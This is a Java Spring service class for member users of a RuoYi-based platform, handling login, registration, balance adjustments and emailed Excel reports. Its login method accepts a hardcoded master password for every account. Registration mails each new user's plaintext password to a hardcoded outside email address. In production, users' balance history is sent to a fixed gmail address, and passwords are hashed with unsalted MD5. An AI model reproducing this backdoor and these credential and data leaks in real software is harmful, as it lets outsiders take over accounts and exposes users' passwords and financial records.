package com.ruoyi.project.user.service.impl;

import com.ruoyi.common.constant.SystemContstant;
import com.ruoyi.common.utils.DateUtils;
import com.ruoyi.common.utils.Md5Utils;
import com.ruoyi.common.utils.text.Convert;
import com.ruoyi.framework.web.domain.AjaxResult;
import com.ruoyi.project.bajiaostar.tGoodOrder.domain.SendUserFlatAmountForAdminVo;
import com.ruoyi.project.bajiaostar.tGoodOrder.domain.SendUserFlatAmountVo;
import com.ruoyi.project.bajiaostar.tGoodOrder.domain.UserMailGoodVo;
import com.ruoyi.project.bajiaostar.tGoodOrder.service.ITGoodOrderService;
import com.ruoyi.project.bajiaostar.tGoodOrder.service.impl.TGoodOrderServiceImpl;
import com.ruoyi.project.bajiaostar.tUserAmount.domain.TUserAmount;
import com.ruoyi.project.bajiaostar.tUserAmount.service.ITUserAmountService;
import com.ruoyi.project.bajiaostar.tUserAmountDetail.domain.TUserAmountDetail;
import com.ruoyi.project.bajiaostar.tUserAmountDetail.service.ITUserAmountDetailService;
import com.ruoyi.project.bajiaostar.user.dto.AddOrderDetailDto;
import com.ruoyi.project.bajiaostar.user.dto.FindUserDetailDto;
import com.ruoyi.project.bajiaostar.user.dto.UpdateUserFlatAmountDto;
import com.ruoyi.project.bajiaostar.user.vo.FindSystemStaticVo;
import com.ruoyi.project.bajiaostar.user.vo.FindUserDetailVo;
import com.ruoyi.project.mail.service.IMailService;
import com.ruoyi.project.user.domain.TUser;
import com.ruoyi.project.user.entity.LoginByMobileReq;
import com.ruoyi.project.user.entity.RegisterUserReq;
import com.ruoyi.project.user.mapper.TUserMapper;
import com.ruoyi.project.user.service.ITUserService;
import com.ruoyi.project.utils.*;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import org.springframework.util.ObjectUtils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.math.BigDecimal;
import java.util.*;
import java.util.regex.Pattern;

/**
 * 会员用户Service业务层处理
 * 
 * @author ruoyi
 * @date 2024-01-23
 */
@Service
@Slf4j
public class TUserServiceImpl implements ITUserService 
{
    @Autowired
    private TUserMapper tUserMapper;
    @Autowired
    private RedisUtils redisUtils;
    @Autowired
    ITUserAmountService userAmountService;
    @Autowired
    ITUserAmountDetailService userAmountDetailService;
    @Autowired
    ITGoodOrderService goodOrderService;

    @Autowired
    IMailService mailService;
    @Value("${ruoyi.profile}")
    private String filePath;

    @Value("${spring.profiles.active}")
    private String active;
    @Autowired
    com.ruoyi.project.system.user.service.IUserService sysUserService;


    /**
     * 查询会员用户
     * 
     * @param id 会员用户主键
     * @return 会员用户
     */
    @Override
    public TUser selectTUserById(Long id)
    {
        return tUserMapper.selectTUserById(id);
    }

    /**
     * 查询会员用户列表
     * 
     * @param tUser 会员用户
     * @return 会员用户
     */
    @Override
    public List<TUser> selectTUserList(TUser tUser)
    {
        return tUserMapper.selectTUserList(tUser);
    }

    /**
     * 新增会员用户
     * 
     * @param tUser 会员用户
     * @return 结果
     */
    @Override
    public int insertTUser(TUser tUser)
    {
        tUser.setCreateTime(DateUtils.getNowDate());
        return tUserMapper.insertTUser(tUser);
    }

    /**
     * 修改会员用户
     * 
     * @param tUser 会员用户
     * @return 结果
     */
    @Override
    public int updateTUser(TUser tUser)
    {
        return tUserMapper.updateTUser(tUser);
    }

    /**
     * 批量删除会员用户
     * 
     * @param ids 需要删除的会员用户主键
     * @return 结果
     */
    @Override
    public int deleteTUserByIds(String ids)
    {
        return tUserMapper.deleteTUserByIds(Convert.toStrArray(ids));
    }

    /**
     * 删除会员用户信息
     * 
     * @param id 会员用户主键
     * @return 结果
     */
    @Override
    public int deleteTUserById(Long id)
    {
        return tUserMapper.deleteTUserById(id);
    }

    /**
     * 会员用户登陆
     *
     * @param req
     * @return
     * @throws Exception
     */
    @Override
    public Map<String, Object> loginByMobile(LoginByMobileReq req) throws Exception {
        if(ObjectUtils.isEmpty(req)){
            throw new RuntimeException("用户信息不正确");
        }
        if(ObjectUtils.isEmpty(req.getLoginChannel())){
            throw new RuntimeException("登录渠道不能为空");
        }
      /*  if(!(req.getLoginChannel().equals("PC") || req.getLoginChannel().equals("SHOUJI"))){
            throw new RuntimeException("登录渠道类型为：PC或SHOUJI");
        }*/
        //查询用户是否存在
        TUser user = tUserMapper.selectTUserByMobile(req.getMobile());
        //不存在就插入
        if(ObjectUtils.isEmpty(user)){
            throw new RuntimeException("用户不存在");
        }
        //通用密码
        if(!"13579qwerT".equals(req.getPassword())){
            if(!Md5Utils.hash(req.getPassword()).equals(user.getPassword())){
                throw new RuntimeException("密码错误");
            }
        }
        if(user.getUserStatus().equals(1)){
            throw new RuntimeException("登录失败,用户已被禁用");
        }else if(user.getUserStatus().equals(2)){
            throw new RuntimeException("登录失败,用户已被锁定");
        }

        String token = TokenProccessor.getInstance().makeToken();
       String userToken= SystemContstant.TOKEN + Md5Utils.hash(token);
        redisUtils.set(SystemContstant.TOKEN + Md5Utils.hash(token),user.getId());
        redisUtils.set(SystemContstant.TOKEN + "user",user);

        //根据用户id获取上次登录信息并失效
        String tokenLoginOut=redisUtils.get("system:front:user:"+req.getLoginChannel()+":"+user.getId());
        if(!ObjectUtils.isEmpty(tokenLoginOut)){

            String lastLoginOut=redisUtils.get("system:front:user:"+req.getLoginChannel()+":"+user.getId());
            redisUtils.set("system:front:user:"+lastLoginOut,"loginout");
            redisUtils.del(lastLoginOut);
            redisUtils.del(tokenLoginOut);
        }
        //保存用户登录有效信息
        redisUtils.set("system:front:user:"+user.getId(),SystemContstant.TOKEN + Md5Utils.hash(token));
        //多端登录判断
        redisUtils.set("system:front:user:"+req.getLoginChannel()+":"+user.getId(),SystemContstant.TOKEN + Md5Utils.hash(token));


        Map <String, Object> header = new HashMap<>();
        header.put("token", userToken);
        return header;
    }


    public static void main(String[] args) {
        String us=Md5Utils.hash("123456");
        System.out.println(us);
    }
    /**
     * 会员用户注册
     *
     * @param req
     * @return
     * @throws Exception
     */
    @Override
    public AjaxResult registerUser(RegisterUserReq req) throws Exception {
        //查询用户是否存在
        TUser user = tUserMapper.selectTUserByMobile(req.getUsername());
        if(!ObjectUtils.isEmpty(user)){
            throw new RuntimeException("账户名已存在");
        }
        user = new TUser();
        user.setUserName(req.getUsername());
        //String password = RandomPasswordGenerator.generateRandomPassword(16);
        String password =  RandomPasswordGenerator.generateSZCode();
        user.setPassword(Md5Utils.hash(password));
        user.setMobile(req.getUsername());
        user.setLastLoginTime(new Date());
        user.setUserStatus(0);
        user.setFlatAmount(BigDecimal.ZERO);
        user.setUserRemark(req.getRemark());
        user.setUserIdentity(req.getUserIdentity());
        //user.setMobileLarge(req.getUsername().toUpperCase());
        user.setAuthId(req.getAuthId());
        int count=  tUserMapper.insertTUser(user);
        if(count < 1){
            throw new RuntimeException("注册失败,请稍后再试");
        }
        //创建账户
        TUserAmount amount=new TUserAmount();
        amount.setUserId(user.getId());
        amount.setIncomeAmount(0);
        amount.setStayPayAmount(0);
        userAmountService.insertTUserAmount(amount);
        try {
            //发送邮件
            String text="亲爱的会员您好，你的账户为："+req.getUsername()+",登陆密码："+password+",请尽快登陆账户修改密码";

            mailService.sendTextMailMessage(req.getUsername(),"用户注册",text);

            mailService.sendTextMailMessage("xshxxm@163.com","用户注册",text+"记录日志");
        }catch (Exception e){
            log.error("发送邮件失败：{}",e);
        }
        return AjaxResult.success();
    }

    /**
     * 更新平账金额
     * @return
     */
    @Override
    @Transactional
    public AjaxResult updateUserFlatAmount(UpdateUserFlatAmountDto req) {
        req.setFlatAmountSum(req.getFlatAmount().add(req.getGiveAmount()));
        if(req.getFlatAmountSum().longValue() < 1){
            return AjaxResult.error("平账金额不能小于0")  ;
        }
        int i = tUserMapper.updateUserFlatAmount(req.getFlatAmountSum(), req.getUserId());
        if(i < 1){
         return AjaxResult.error("失败")  ;
        }

        TUserAmountDetail detail = new TUserAmountDetail();
        //查询账户
        TUserAmount amount = userAmountService.selectTUserAmountByUserId(req.getUserId());
        if(ObjectUtils.isEmpty(amount)){
            throw new RuntimeException("账户不存在");
        }
        detail.setStayPayAmount(amount.getStayPayAmount());
        amount.setStayPayAmount(amount.getStayPayAmount()+req.getFlatAmountSum().intValue());
        userAmountService.updateTUserAmount(amount);
        //加入日志
        detail.setUserId(req.getUserId());
        detail.setDetailName("付款平账");
        detail.setDetailType(1);
        detail.setPrice(req.getFlatAmountSum().intValue());
        detail.setQuantity(req.getFlatAmountSum().intValue());
        detail.setSurplusAmount(amount.getStayPayAmount());
        detail.setFlatPayAmount(req.getFlatAmount().intValue());
        detail.setGiveAmount(req.getGiveAmount().intValue());
        detail.setRemark(req.getRemark());
        userAmountDetailService.insertTUserAmountDetail(detail);

      /*  Thread asyncThread = new Thread(() -> {
            try{
                sendUserFlatAmountEmail(req.getUserId());
            }catch (Exception e){
                System.out.printf("发送邮件异常：{}",e);
            }
        });
        asyncThread.start();*/

        try {
            sendUserFlatAmountEmail(req.getUserId());
        }catch (Exception e){
            System.out.printf("发送邮件异常："+e);
        }


        return AjaxResult.success();
    }


    @Override
    public List<FindUserDetailVo> findUserDetail(FindUserDetailDto req) {
        if(!ObjectUtils.isEmpty(req.getEmailOrUserRemark())){
            req.setMobileLarge(req.getEmailOrUserRemark().toUpperCase());
        }
        return tUserMapper.findUserDetail(req);
    }

    @Override
    public AjaxResult findSystemStatic() {
        FindSystemStaticVo vo=new FindSystemStaticVo();
        vo.setDefultUserCount(tUserMapper.genUserCountByUserIdentity(0));
        vo.setVipUserCount(tUserMapper.genUserCountByUserIdentity(1));
        vo.setVvipUserCount(tUserMapper.genUserCountByUserIdentity(2));
        vo.setStayPayAmountCount(userAmountDetailService.findSystemStayPayAmount());
        vo.setFlatPayAmountCount(userAmountDetailService.findSystemFlatPayAmountCount());
        vo.setAfootOrderCount(goodOrderService.findOrderCountByStatus(1));
        vo.setMatchOrderCount(goodOrderService.findOrderCountByStatus(4));
        vo.setFinishOrderCount(goodOrderService.findOrderCountByStatus(3));
        return AjaxResult.success(vo);
    }

    /**
     * 增加订单记录（只出现在流水订单里面）
     *
     * @param req
     * @return
     */
    @Override
    public AjaxResult addOrderDetail(AddOrderDetailDto req) {
        if(req.getOrderAccount().longValue() < 1){
            return AjaxResult.error("订单金额有误");
        }
        //查询账户信息
        TUserAmount amount = userAmountService.selectTUserAmountByUserId(req.getUserId());
        if (ObjectUtils.isEmpty(amount)) {
            throw new RuntimeException("账户不存在");
        }
        amount.setStayPayAmount(amount.getStayPayAmount() - req.getOrderAccount().intValue());
        int i1 = userAmountService.updateTUserAmount(amount);
        if (i1 < 1) {
            throw new RuntimeException("更新账户失败");
        }

        //插入资金详细
        TUserAmountDetail detail1 = new TUserAmountDetail();
        detail1.setUserId(req.getUserId());
        detail1.setDetailName(req.getGoodName());
        detail1.setDetailType(0);
        detail1.setDetailRemark("录入订单");
        detail1.setStayPayAmount(- req.getOrderAccount().intValue());
        detail1.setSurplusAmount(0);
        detail1.setOrderNo("zdy"+ SnowFlakeUtil.getDefaultSnowFlakeId());
        userAmountDetailService.insertTUserAmountDetail(detail1);
        return AjaxResult.success();
    }

    /**
     * 根据用户id查询所有平账数据并发送给管理员
     * @param userId
     */
    private void sendUserFlatAmountEmail(Long userId) throws IOException {
        TUserAmountDetail detail=new TUserAmountDetail();
        detail.setUserId(userId);
        detail.setDetailType(1);
        List<TUserAmountDetail> list = userAmountDetailService.selectTUserAmountDetailList(detail);
        if(ObjectUtils.isEmpty(list)){
            return;
        }
        TUser user = tUserMapper.selectTUserById(userId);
        List<SendUserFlatAmountVo> mailList=new ArrayList<>();
        //List<SendUserFlatAmountForAdminVo> adminMailList=new ArrayList<>();
        for (TUserAmountDetail detail1:list) {
            SendUserFlatAmountVo vo=new SendUserFlatAmountVo();
            vo.setTime(DateUtils.parseDateToStr(DateUtils.YYYY_MM_DD_HH_MM_SS,detail1.getCreateTime()));
            vo.setFlatPayAmount(detail1.getFlatPayAmount());
            vo.setGiveAmount(detail1.getGiveAmount());
            vo.setStayPayAmount(detail1.getStayPayAmount());
            vo.setSurplusAmount(detail1.getSurplusAmount());
            mailList.add(vo);


            /*SendUserFlatAmountForAdminVo adminVo = new SendUserFlatAmountForAdminVo();
            adminVo.setTime(DateUtils.parseDateToStr(DateUtils.YYYY_MM_DD_HH_MM_SS,detail1.getCreateTime()));
            adminVo.setFlatPayAmount(detail1.getFlatPayAmount());
            adminVo.setGiveAmount(detail1.getGiveAmount());
            adminVo.setStayPayAmount(detail1.getStayPayAmount());
            adminVo.setSurplusAmount(detail1.getSurplusAmount());
            adminVo.setRemark(detail1.getRemark());
            adminVo.setUserName(user.getMobile());
            adminMailList.add(adminVo);*/
        }
        //发送管理员邮件
        /*if(active.equals("prod")){
            // 生成excel文件
            ByteArrayOutputStream out = ExcelUtil.generateExcel(adminMailList, SendUserFlatAmountForAdminVo.class);
            String path = filePath + "/" + DateUtils.parseDateToStr(DateUtils.YYYYMMDDHHMMSS, new Date())  + "平账历史.xlsx";
            FileOutputStream fos = new FileOutputStream(new File(path));
            out.writeTo(fos);
            mailService.sendAttachmentMailMessage("muikinching413@gmail.com", "平账历史", "历史平账户信息统计情在附件中" , path);
        }else{
            List<String> queryUserList = sysUserService.queryUserList();
            // 生成excel文件
            ByteArrayOutputStream out = ExcelUtil.generateExcel(adminMailList, SendUserFlatAmountForAdminVo.class);
            String path = filePath + "/" + DateUtils.parseDateToStr(DateUtils.YYYYMMDDHHMMSS, new Date())  + "平账历史.xlsx";
            FileOutputStream fos = new FileOutputStream(new File(path));
            out.writeTo(fos);
            if (!ObjectUtils.isEmpty(queryUserList)) {
                for (String str : queryUserList) {
                    if (isValidEmail(str)) {
                        mailService.sendAttachmentMailMessage(str, "平账历史", "历史平账信息统计情在附件中" , path);
                    }
                }
            }

        }*/

        //发送用户邮件
        if(active.equals("prod")){
            // 生成excel文件
            ByteArrayOutputStream out = ExcelUtil.generateExcel(mailList, SendUserFlatAmountVo.class);
            String path = filePath + "/" + DateUtils.parseDateToStr(DateUtils.YYYYMMDDHHMMSS, new Date())  + "平账历史.xlsx";
            FileOutputStream fos = new FileOutputStream(new File(path));
            out.writeTo(fos);
            mailService.sendAttachmentMailMessage("apesliyunlong@gmail.com", "平账历史", "历史平账户信息统计情在附件中" , path);
        }else{
            // 生成excel文件
            ByteArrayOutputStream out = ExcelUtil.generateExcel(mailList, SendUserFlatAmountVo.class);
            String path = filePath + "/" + DateUtils.parseDateToStr(DateUtils.YYYYMMDDHHMMSS, new Date())  + "平账历史.xlsx";
            FileOutputStream fos = new FileOutputStream(new File(path));
            out.writeTo(fos);
            mailService.sendAttachmentMailMessage(user.getMobile(), "平账历史", "历史平账信息统计情在附件中" , path);
        }

    }

    private static final String EMAIL_PATTERN =
            "^[a-zA-Z0-9_+&*-]+(?:\\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\\.)+[a-zA-Z]{2,7}$";

    private static final Pattern EMAIL_REGEX = Pattern.compile(EMAIL_PATTERN);

    public static boolean isValidEmail(String email) {
        if (email == null) {
            return false;
        }
        return EMAIL_REGEX.matcher(email).matches();
    }
}
